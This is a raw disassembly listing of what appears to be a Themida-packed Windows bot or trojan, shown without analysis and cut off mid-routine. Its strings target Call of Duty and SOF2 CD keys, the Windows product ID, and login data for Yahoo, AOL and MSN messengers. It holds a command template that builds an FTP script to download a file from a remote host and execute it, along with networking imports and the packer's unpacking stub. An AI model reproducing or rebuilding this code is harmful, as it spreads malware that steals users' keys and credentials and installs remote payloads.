aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo
align 10h
aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
align 4
dd 0
dword_44693C dd 3A6D6961h, 732520h, 0dword_446948 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
; DATA XREF: ___:00434E82o
db '\Login',0
dd 4 dup(0)
aFoundCodCdkeyS db 'Found COD CDKey (%s).',0
align 4
dd 0
aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0
align 8
aSMainS db '%s\main\%s',0
align 8
aCodkey db 'codkey',0
align 10h
aSoftwareActi_0 db 'Software\Activision\Call of Duty',0
align 8
aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0
align 10h
dd 0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
dd 0
dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath db 'InstallPath',0
dd 0
dword_446A7C dd 3A6E736Dh, 732520h, 0dword_446A88 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: ___:00435447o
db 'ice',0
align 4
dd 3 dup(0)
aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
align 4
dd 2 dup(0)
aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
align 4
dd 2 dup(0)
aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo
align 4
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: sub_4356F0+4FEo
align 4
dd 2 dup(0)
aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o
align 8
aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo
align 4
loc_446BB4: ; DATA XREF: sub_4356F0+2D3o
dec eax
dec ebx
inc ebx
inc ebx
cmp ah, [eax]
and eax, 73h
loc_446BBF: ; DATA XREF: sub_4356F0+1EBo
add [eax+4Bh], cl
dec esp
dec ebp
cmp ah, [eax]
and eax, 73h
loc_446BCB: ; DATA XREF: sub_4356F0+103o
add [eax+4Bh], cl
inc ebx
push ebp
cmp ah, [eax]
and eax, 73h
loc_446BD7: ; DATA XREF: ___:00435EB6o
; ___:00436110o ...
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cx, 0FFFFh
loc_446BE8: ; CODE XREF: ___:00446BEDj
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_446BE8
; ---------------------------------------------------------------------------
db 0
dd 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: ___:0043633Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Ch dup(0)
off_446CE0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o
; ___:0043E354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 9Bh dup(0)
byte_446F70 db 0 ; DATA XREF: sub_4034E0+95o
; sub_404640+200o ...
align 4
dword_446F74 dd 0 ; sub_4245F0+11o ...
dword_446F78 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ...
align 10h
dword_446F80 dd 0 ; ___:0040D345w ...
dd 8 dup(0)
dword_446FA4 dd 41h dup(0) ; ___:0040D380o ...
dword_4470A8 dd 0 ; ___:loc_40D3D4r ...
dword_4470AC dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ...
dword_4470B0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw
dword_4470B4 dd 0 ; sub_40D580+E3r
dd 11h dup(0)
dword_4470FC dd 0 ; sub_40FF60+47Dr
dword_447100 dd 0 ; sub_40FF60+515r ...
dword_447104 dd 0 ; sub_40FF60+655r ...
dword_447108 dd 0 ; sub_40FF60+B79r ...
dword_44710C dd 0 ; sub_40FF60+74Br
dword_447110 dd 0 ; sub_40FF60+828r
dword_447114 dd 0 ; sub_40FF60+77Cr
dword_447118 dd 0 ; sub_40FF60+4DDr ...
dword_44711C dd 0 ; sub_40FF60+311r
dword_447120 dd 0 ; sub_40FF60+34Dr ...
dword_447124 dd 0 ; sub_40FF60+33Dr
dword_447128 dd 0 ; sub_40FF60+3D2r
dword_44712C dd 0 ; sub_40FF60+E93r
dword_447130 dd 0 ; sub_40FF60+1220r ...
dword_447134 dd 0 ; sub_411FE0+4DAr
dword_447138 dd 0 ; sub_40FF60+683r
dword_44713C dd 0 ; sub_40FF60+6B5r
dword_447140 dd 0 ; sub_40FF60+1252r
dd 5 dup(0)
dword_447158 dd 10h dup(0) ; ___:0040405Fo ...
db 2 dup(0)
byte_44719A db 0 ; DATA XREF: sub_409A30r sub_409AA0r
align 4
db 3 dup(0)
byte_44719F db 0 ; DATA XREF: sub_40D580+10Fr
db 0
byte_4471A1 db 0 ; DATA XREF: sub_40DB10r
word_4471A2 dw 0 ; DATA XREF: sub_40DB10+9o
dd 44h dup(0)
db 3 dup(0)
byte_4472B7 db 0 ; DATA XREF: ___:00412ECAo
; ___:00412F7Fo ...
db 3 dup(0)
byte_4472BB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr
align 10h
dword_4472C0 dd 12h dup(0) ; sub_40FF60+114o
db 0
byte_447309 db 3 dup(0) ; DATA XREF: ___:00408ADEo
; sub_40FF60+159o ...
dd 11h dup(0)
db 2 dup(0)
word_447352 dw 0 ; DATA XREF: ___:00408AB5o
; sub_40FF60+132o
dd 6 dup(0)
word_44736C dw 0 ; DATA XREF: sub_40FF60+1E1r
align 10h
dd 0Ah dup(0)
db 3 dup(0)
byte_44739B db 0 ; DATA XREF: ___:00408B07o
; sub_40FF60+17Co ...
dd 12h dup(0)
dword_4473E4 dd 12h dup(0) ; sub_40FF60+F7o ...
db 0
byte_44742D db 3 dup(0) ; DATA XREF: ___:00408A40o
; sub_40FF60+D0o ...
dd 23h dup(0)
db 3 dup(0)
byte_4474BF db 0 ; DATA XREF: ___:00408B30o
; sub_40FF60+19Ao
dd 24h dup(0)
db 0
byte_447551 db 3 dup(0) ; DATA XREF: sub_425020+2Bo
; sub_425020+37o
dd 11h dup(0)
db 2 dup(0)
word_44759A dw 0 ; DATA XREF: ___:00412E9Ao
; ___:00412EB9o ...
dd 3Ch dup(0)
db 3 dup(0)
dword_44768F dd 0 ; sub_41EF30+154r ...
align 4
dd 35h dup(0)
db 0
byte_447769 db 0 ; DATA XREF: sub_41B950+18r
align 4
dd 36h dup(0)
byte_447844 db 0 ; DATA XREF: sub_40FF60+842r
align 4
dd 0Bh dup(0)
dword_447874 dd 18h dup(0) ; sub_40ED70+97o ...
db 2 dup(0)
byte_4478D6 db 0 ; DATA XREF: sub_404C70+258r
; sub_41D830+671r
align 4
dd 11h dup(0)
db 3 dup(0)
byte_44791F db 0 ; DATA XREF: sub_404C70:loc_404EE0r
; sub_41D830:loc_41DEB9r
dd 0Bh dup(0)
db 3 dup(0)
byte_44794F db 0 ; DATA XREF: sub_404C70+279o
; sub_41D830+692o ...
dd 12h dup(0)
dword_447998 dd 2Bh dup(0) ; sub_41EF30+630o ...
dword_447A44 dd 0 dd 11h dup(0)
db 0
dword_447A8D dd 0 align 4
dd 0D9h dup(0)
byte_447DF8 db 0 ; DATA XREF: sub_41EF30+146r
; sub_41EF30+5EEr
align 4
dd 3A8h dup(0)
db 2 dup(0)
word_448C9E dw 0 ; DATA XREF: sub_404640+1BDo
; sub_404B10+31o ...
db 2 dup(0)
word_448CA2 dw 0 ; DATA XREF: sub_404B10+4o
dd 1Ch dup(0)
db 2 dup(0)
word_448D16 dw 0 ; DATA XREF: sub_407660+36o
; sub_4076F0+3Eo ...
dd 26h dup(0)
dword_448DB0 dd 86h dup(0) ; sub_404C70+27Eo ...
db 3 dup(0)
byte_448FCB db 0 ; DATA XREF: sub_425640+3Bw
; sub_4256B0+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_4491CB dd 0 ; sub_4256B0+4Fw ...
dword_4491CF dd 0 ; ___:004240BDw ...
dword_4491D3 dd 0 ; sub_4256B0+5Dr ...
dword_4491D7 dd 0 ; sub_4256B0+8Cr ...
dword_4491DB dd 0 ; sub_4256B0+9Dr
dword_4491DF dd 0 ; ___:004240F1r ...
byte_4491E3 db 0 ; DATA XREF: sub_425640+42w
; sub_4256B0+85w
dd 3018h dup(0)
db 3 dup(0)
byte_455247 db 0 ; DATA XREF: ___:off_444F40o
dd 0EB85h dup(0)
dword_49005C dd 1147h dup(0) db 2 dup(0)
word_49457A dw 0 ; DATA XREF: sub_59390B+10DF0o
; sub_59390B+10E00o
dd 9F5Bh dup(0)
db 0
byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o
dd 6058h dup(0)
db 0
byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44433Co
dd 6DEh dup(0)
db 3 dup(0)
dword_4D5FCB dd 0 ; sub_4258E0+13o
align 10h
dd 39h dup(0)
db 0
byte_4D60B5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo
; sub_404C70+65o ...
dd 5 dup(0)
byte_4D60CC db 0 ; DATA XREF: sub_404C70+292w
; sub_404C70+4EEw
dword_4D60CD dd 0 ; sub_422A40:loc_4231C4r ...
align 4
dd 0
db 0
dword_4D60D9 dd 0 ; sub_404C20+2Aw
byte_4D60DD db 3 dup(0) ; DATA XREF: ___:00412EF4o
; ___:00412F17o
dd 9 dup(0)
db 3 dup(0)
dword_4D6107 dd 0 ; sub_427AD0:loc_427BC7r
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_4D61CB db 0 ; DATA XREF: sub_425870+16o
; sub_4258A0+19o
db 3 dup(0)
byte_4D61CF db 0 ; DATA XREF: sub_4257A0+4Co
dd 6Fh dup(0)
db 3 dup(0)
byte_4D638F db 0 ; DATA XREF: ___:004081C6o
; ___:00408657o ...
dd 8 dup(0)
dword_4D63B0 dd 0 dd 51h dup(0)
db 0
byte_4D64F9 db 0 ; DATA XREF: sub_426820:loc_4268D0r
; sub_426CE0:loc_426D95r ...
align 4
dd 9Eh dup(0)
db 0
dword_4D6775 dd 0 ; sub_426CE0+7Dw ...
align 4
dd 1EDAh dup(0)
db 0
byte_4DE2E5 db 3 dup(0) ; DATA XREF: ___:00419E93o
; sub_419F50+13o
dd 1EB9h dup(0)
db 3 dup(0)
byte_4E5DCF db 0 ; DATA XREF: sub_426A60+1Do
dd 21h dup(0)
db 0
byte_4E5E55 db 3 dup(0) ; DATA XREF: ___:00419EA3o
dd 235h dup(0)
db 3 dup(0)
byte_4E672F db 0 ; DATA XREF: sub_426A60+2Fo
dd 1D5h dup(0)
byte_4E6E84 db 0 ; DATA XREF: sub_404C70+299w
; sub_40FF60:loc_40FFA2r ...
byte_4E6E85 db 3 dup(0) ; DATA XREF: sub_404C70+235o
; sub_404C70+87Ao ...
dd 4 dup(0)
db 2 dup(0)
word_4E6E9A dw 0 ; DATA XREF: sub_404C70+2D4o
; ___:0040866Bo ...
dd 0Fh dup(0)
db 0
byte_4E6ED9 db 0 ; DATA XREF: sub_41F860+31w
; sub_41F860+47w ...
db 0
byte_4E6EDB db 0 ; DATA XREF: sub_418490+21o
; sub_41D830+341o ...
dd 751Eh dup(0)
dword_504354 dd 0AC6h dup(0) dword_506E6C dd 1000h dup(0) ; ___:00419A9Do ...
dword_50AE6C dd 333h dup(0) ; ___:00419AB8o ...
dword_50BB38 dd 0 ; sub_41A010+1Br ...
dd 3 dup(0)
dword_50BB48 dd 0 ; ___:0041FB3Dw ...
dword_50BB4C dd 0 ; sub_41FA90+2Aw ...
dword_50BB50 dd 0 dword_50BB54 dd 0 ; ___:0041FB5Bw
dword_50BB58 dd 0 dword_50BB5C dd 0 ; ___:0041FB67w ...
dword_50BB60 dd 0 ; ___:0041FB6Dw ...
dword_50BB64 dd 0 ; ___:00420DA9o
dword_50BB68 dd 0 ; sub_41FA90:loc_41FAB4r ...
dword_50BB6C dd 0 ; ___:0041FB81w
dword_50BB70 dd 0 ; sub_420530+41w ...
dword_50BB74 dd 0 ; sub_420530+7Fr
dword_50BB78 dd 0 ; sub_420530+92r ...
dword_50BB7C dd 0 ; sub_420530+148r
dd 3 dup(0)
dword_50BB8C dd 0 ; ___:0041C1A5o
dword_50BB90 dd 0 ; sub_423720+5r ...
dword_50BB94 dd 0 ; ___:00423EB1r ...
dd 7CEh dup(0)
dword_50DAD0 dd 6 dup(0) ; ___:00423DB2o ...
dword_50DAE8 dd 196h dup(0) ; sub_423660+6Do
dword_50E140 dd 0 word_50E144 dw 0 ; DATA XREF: sub_424E90+A9r
align 4
byte_50E148 db 0 ; DATA XREF: sub_4254E0:loc_425540r
; sub_4254E0+97w
align 4
dword_50E14C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r
dword_50E150 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r
dword_50E154 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ...
dd 0
dword_50E15C dd 80h dup(0) ; sub_426A60+129o
dword_50E35C dd 0 dword_50E360 dd 0 dd 1Dh dup(0)
dword_50E3D8 dd 0 ; ___:0042B11Dr ...
dword_50E3DC dd 0 ; sub_42CB10:loc_42CBA6r ...
dword_50E3E0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ...
dword_50E3E4 dd 0 dword_50E3E8 dd 0 ; sub_430270r ...
dword_50E3EC dd 0 dword_50E3F0 dd 0 ; sub_42F6B0+111w ...
dword_50E3F4 dd 0 ; sub_42F6B0+F6r ...
dword_50E3F8 dd 0 ; ___:loc_4303B0r
dword_50E3FC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ...
dd 2 dup(0)
dd 0
dd 13Dh dup(0)
dword_50E900 dd 10h dup(0) ; sub_430180:loc_4301B0o ...
dword_50E940 dd 8 dup(0) ; sub_42F540+25o ...
dword_50E960 dd 8 dup(0) ; sub_430690+25o ...
dword_50E980 dd 8 dup(0) ; sub_431560+84o ...
dword_50E9A0 dd 8 dup(0) ; sub_431560+8Bo ...
dword_50E9C0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ...
dd 0FFFFFFFFh, 3 dup(0)
dd 0FFFFFFFFh, 182h dup(0)
dd 5 dup(2F06C2B1h), 5 dup(44D568C4h), 5 dup(700B6C69h)
dd 5 dup(51A91ACEh), 5 dup(23E451B2h), 5 dup(53DC040Bh)
dd 5 dup(62D31A60h), 5 dup(4FECA3FAh), 5 dup(4FD5C522h)
dd 5 dup(1C07C897h), 5 dup(31EAC45Ah), 1Eh dup(0)
dd 53DC040Bh, 10h dup(0)
dd 31EAC45Ah, 58h dup(0)
dd 51A91ACEh, 1Bh dup(0)
dd 4FD5C522h, 14h dup(0)
dd 44D568C4h, 52h dup(0)
dd 2F06C2B1h, 1Bh dup(0)
dd 1C07C897h, 0Bh dup(0)
dd 62D31A60h, 0Ch dup(0)
dd 23E451B2h, 2Bh dup(0)
dd 4FECA3FAh, 11h dup(0)
dd 700B6C69h, 0Ah dup(0)
dd 28A0386h, 28B0000h, 28C0000h
dword_50F710 dd 28C16ABh dd 28C17FAh
dword_50F718 dd 28C1A8Bh dd 28C1D9Bh, 28D0000h
dword_50F724 dd 28E0000h dd 28F0000h, 28F0461h, 28F0888h, 28F0C20h
dword_50F738 dd 2900000h ; sub_40E7A0+25Ar ...
dword_50F73C dd 29004E5h dword_50F740 dd 29006B2h dd 29008E6h, 2900C56h
dword_50F74C dd 2910000h ; sub_40ED70+15Er ...
dd 291023Dh
dword_50F754 dd 2920000h ; sub_40E7A0+22Cr
dd 2920D9Fh
dword_50F75C dd 2930000h ; sub_4207E0+285r ...
dd 2940000h
dword_50F764 dd 2941086h ; sub_40E7A0+24Cr
dd 10h dup(0)
dd 76F36C5Bh, 0Bh dup(0)
dd 2710000h, 2710116h, 2720000h, 27206CDh, 2720826h, 2720B97h
dd 2720D84h, 2730000h, 27307C0h, 2730BD8h, 2740000h, 2740200h
dd 2740856h, 2740884h, 2740C4Fh, 2750000h, 275034Ah, 2750767h
dd 275091Ch, 2750D14h, 2760000h, 2760511h, 2760576h, 27608C3h
dd 2760AB8h, 2760D3Ch, 2770000h, 27701FBh, 27703A1h, 2770526h
dd 27706CDh, 277072Fh
dword_50F858 dd 2780000h dword_50F85C dd 2780835h dword_50F860 dd 27809E2h dd 7C901005h, 7C9010EDh, 2780C0Bh, 2780C6Ch
dword_50F874 dd 2790000h ; sub_420530+FEr
dd 2790626h, 2790BECh, 27A0000h, 27A0325h, 27B0000h, 27C0000h
dd 27C0847h, 27D0000h, 27E0000h, 27E0B2Ch
dword_50F8A0 dd 27F0000h ; sub_420530:loc_42057Cr ...
dword_50F8A4 dd 27F08B4h ; sub_40FF60+47r ...
dd 27F092Eh, 27F0B48h, 2800000h, 2810000h, 281112Eh, 2820000h
dd 2830000h
dword_50F8C4 dd 28316F1h dd 283184Ah, 2831CECh
dword_50F8D0 dd 2840000h ; sub_41B4B0+2Fr ...
dd 2840164h
dword_50F8D8 dd 28409D0h ; sub_4203D0+2Er ...
dd 2850000h, 28503FBh, 2860000h
dword_50F8E8 dd 28603C2h dd 286064Dh, 2870000h, 2880000h, 28812E4h, 2881E50h, 2890000h
dd 289069Ch, 2890A90h
dd 2890BDCh
dd 1Ah dup(0)
dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
dd 77C3A3DBh, 77C4186Ah
dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ...
dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0C0h, 0C2h, 77h
dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
imul dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C41B72h
dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h
dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C2DAr
; ---------------------------------------------------------------------------
adc al, dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C40AB1h, 77C4FA10h
dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ...
dd 77C371BCh
dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ...
dd 77C2C407h
dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh
dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r
dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h
db 0CFh, 0C1h, 77h
dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C226F6h, 77C214E7h, 77C29CC5h
dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr
dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ...
dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr
dd 77C29CDDh, 77C293C7h
dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ...
dd 77C35F0Dh, 77C46170h
dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h
dd 77C46320h
dd 19h dup(0)
dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0)
dd 7CA41110h, 0Bh dup(0)
dd 28A0000h
off_50FBF0 dd offset sub_5EDAB2 ; DATA XREF: ___:00419EBDr
; sub_419F50+2Dr ...
dd 0Bh dup(0)
dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h
dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ...
dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr
dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h
dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r
dd 71AB2BC0h
dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r
dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
dd 71AB2A5Eh
dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h
dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ...
dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ...
dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ...
dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ...
dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
dd 76D6AC1Dh, 4C5h dup(0)
___ ends
; Section 2. (virtual address 00111000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00111000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 511000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 00112000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00112000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 512000h
dd 7C801A24h, 7C81CDDAh, 0
aE db 'Ïe',9,']',0
align 10h
dd 112050h, 112000h, 3 dup(0)
dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 00113000)
; Virtual size : 00100000 (1048576.)
; Section size in file : 00100000 (1048576.)
; Offset to raw data for section: 00113000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 513000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 8BF0018h, 40C0Fh, 5EA06h, 158172h, 0
; ---------------------------------------------------------------------------
mov eax, 0
pusha
or eax, eax
jz short loc_513086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_513041
popa
jmp short loc_513076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
db 30h, 51h, 0
dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------
loc_513041: ; CODE XREF: Themida_:0051302Cj
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_51304E: ; CODE XREF: Themida_:00513072j
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_51306D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_513074
loc_51306D: ; CODE XREF: Themida_:00513059j
sub eax, 1000h
jmp short loc_51304E
; ---------------------------------------------------------------------------
loc_513074: ; CODE XREF: Themida_:0051306Bj
mov edi, eax
loc_513076: ; CODE XREF: Themida_:0051302Fj
jmp loc_513265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 11326Ah
add ecx, edi
jmp short loc_513090
; ---------------------------------------------------------------------------
loc_513086: ; CODE XREF: Themida_:0051301Cj
mov eax, offset loc_57C2CA
mov ecx, offset word_51326A
loc_513090: ; CODE XREF: Themida_:00513084j
push eax
push ecx
call sub_51311B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_513265
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_51311B proc near ; CODE XREF: Themida_:00513092p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_513127: ; CODE XREF: sub_51311B:loc_51313Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_513132: ; CODE XREF: sub_51311B+7Aj
; sub_51311B+C3j ...
add dl, dl
jnz short loc_51313B
mov dl, [esi]
inc esi
adc dl, dl
loc_51313B: ; CODE XREF: sub_51311B+19j
jnb short loc_513127
add dl, dl
jnz short loc_513146
mov dl, [esi]
inc esi
adc dl, dl
loc_513146: ; CODE XREF: sub_51311B+24j
jnb short loc_513197
xor eax, eax
add dl, dl
jnz short loc_513153
mov dl, [esi]
inc esi
adc dl, dl
loc_513153: ; CODE XREF: sub_51311B+31j
jnb loc_513238
add dl, dl
jnz short loc_513162
mov dl, [esi]
inc esi
adc dl, dl
loc_513162: ; CODE XREF: sub_51311B+40j
adc eax, eax
add dl, dl
jnz short loc_51316D
mov dl, [esi]
inc esi
adc dl, dl
loc_51316D: ; CODE XREF: sub_51311B+4Bj
adc eax, eax
add dl, dl
jnz short loc_513178
mov dl, [esi]
inc esi
adc dl, dl
loc_513178: ; CODE XREF: sub_51311B+56j
adc eax, eax
add dl, dl
jnz short loc_513183
mov dl, [esi]
inc esi
adc dl, dl
loc_513183: ; CODE XREF: sub_51311B+61j
adc eax, eax
jz short loc_51318D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_51318D: ; CODE XREF: sub_51311B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_513132
; ---------------------------------------------------------------------------
loc_513197: ; CODE XREF: sub_51311B:loc_513146j
mov eax, 1
loc_51319C: ; CODE XREF: sub_51311B:loc_5131B0j
add dl, dl
jnz short loc_5131A5
mov dl, [esi]
inc esi
adc dl, dl
loc_5131A5: ; CODE XREF: sub_51311B+83j
adc eax, eax
add dl, dl
jnz short loc_5131B0
mov dl, [esi]
inc esi
adc dl, dl
loc_5131B0: ; CODE XREF: sub_51311B+8Ej
jb short loc_51319C
sub eax, ebx
mov ebx, 1
jnz short loc_5131E3
mov ecx, 1
loc_5131C0: ; CODE XREF: sub_51311B:loc_5131D4j
add dl, dl
jnz short loc_5131C9
mov dl, [esi]
inc esi
adc dl, dl
loc_5131C9: ; CODE XREF: sub_51311B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_5131D4
mov dl, [esi]
inc esi
adc dl, dl
loc_5131D4: ; CODE XREF: sub_51311B+B2j
jb short loc_5131C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_5131E3: ; CODE XREF: sub_51311B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
